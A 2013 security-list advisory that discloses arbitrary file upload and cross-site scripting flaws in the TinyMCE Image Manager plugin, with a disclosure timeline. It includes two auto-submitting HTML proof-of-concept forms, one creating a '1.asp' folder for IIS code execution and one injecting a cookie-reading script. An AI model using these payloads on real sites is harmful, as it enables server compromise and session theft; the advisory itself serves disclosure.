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AFU and XSS vulnerabilities in TinyMCE Image Manager

From: "MustLive" <mustlive () websecurity com ua>
Date: Fri, 19 Jul 2013 20:29:16 +0300

Hello list!

These are Arbitrary File Uploading and Cross-Site Scripting vulnerabilitiesin TinyMCE Image Manager plugin for TinyMCE.


-------------------------
Affected products:
-------------------------

Vulnerable are TinyMCE Image Manager 1.1 and previous versions.

-------------------------
Affected vendors:
-------------------------

Dustweb
http://dustweb.ru/projects/tinymce_images/

----------
Details:
----------

Arbitrary File Uploading (WASC-31):

The attack is possible via "1.asp" in folder name. This is bypass method forexecuting arbitrary code at IIS web server.


TinyMCE Image Manager AFU.html

<html>
<head>

</head>
<body onLoad="document.hack.submit()">

<form name="hack"action="http://site/tiny_mce/plugins/images/connector/php/"; method="post">

<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="1.asp">
</form>
</body>
</html>

Cross-Site Scripting (WASC-08):

This is persistent XSS on Linux/Unix and reflected XSS on Windows. The codewill execute just after sending request for creating a folder and later onat requests to connector (at any operations, except creating a folder withexistent name).


TinyMCE Image Manager XSS.html

<html>
<head>

</head>
<body onLoad="document.hack.submit()">

<form name="hack"action="http://site/tiny_mce/plugins/images/connector/php/"; method="post">

<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">

<input type="hidden" name="name" value="<bodyonload=alert(document.cookie)>">

</form>
</body>
</html>

------------
Timeline:

------------

2013.05.22 - announced at my site.
2013.05.23 - informed developer.
2013.07.18 - disclosed at my site (http://websecurity.com.ua/6527/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site

http://websecurity.com.ua


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AFU and XSS vulnerabilities in TinyMCE Image Manager MustLive (Jul 19)